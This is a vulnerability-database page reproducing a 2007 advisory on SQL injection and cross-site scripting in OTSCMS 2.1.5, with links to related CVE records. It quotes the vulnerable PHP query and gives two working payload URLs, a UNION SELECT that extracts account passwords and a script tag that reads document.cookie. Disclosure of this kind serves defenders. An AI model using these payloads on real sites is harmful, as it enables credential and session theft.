Lucene search
+L

otscms 2.1.5 - SQL Injection / Cross-Site Scripting

🗓️ 07 Feb 2007 00:00:00Reported by GregStarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 45 Views

OTSCMS 2.1.5 by Wrzasq SQL Injection / Cross-Site Scripting vulnerability in PM and forum module

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2007-0846
8 Feb 200718:00
cve
CVE
CVE-2007-0847
8 Feb 200718:00
cve
Cvelist
CVE-2007-0846
8 Feb 200718:00
cvelist
Cvelist
CVE-2007-0847
8 Feb 200718:00
cvelist
EUVD
EUVD-2007-0843
7 Oct 202500:30
euvd
EUVD
EUVD-2007-0844
7 Oct 202500:30
euvd
NVD
CVE-2007-0846
8 Feb 200718:28
nvd
NVD
CVE-2007-0847
8 Feb 200718:28
nvd
Prion
Cross site scripting
8 Feb 200718:28
prion
Prion
Sql injection
8 Feb 200718:28
prion
Rows per page
***************************************************************************************************************

			               			 Coding 4 Fun

***************************************************************************************************************

* Name = OTSCMS 2.1.5 by Wrzasq (http://otscms.com) ;

* Class = Sql Injection / XSS  ;

* Download = http://sourceforge.net/project/showfiles.php?group_id=145557 ;

* Found by = GregStar (gregstar[at]c4f.pl) (http://c4f.pl) ;

---------------------------------------------------------------------------------------------------------------
[SQL]

Vulnerable Code in [path]/mod/PM/reply.php

line 22-26

...

extract( $http->extract('id') );

// reads message
$pm = $db->query('SELECT [pms].`name` AS `name` [...]  ' AND [pms].`id` = ' . $id)->fetchAll(); <---
$pm = $pm[0];

...

Example :

http://[target]/[path]/priv.php?command=reply&id=-1%20UNION%20SELECT%20accno,null,password%20FROM%20accounts ;


----
[XSS]


http://[target]/[path]/forum.php?module=User&command=profile&name=<script>alert(document.cookie);</script>

# milw0rm.com [2007-02-07]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01786
45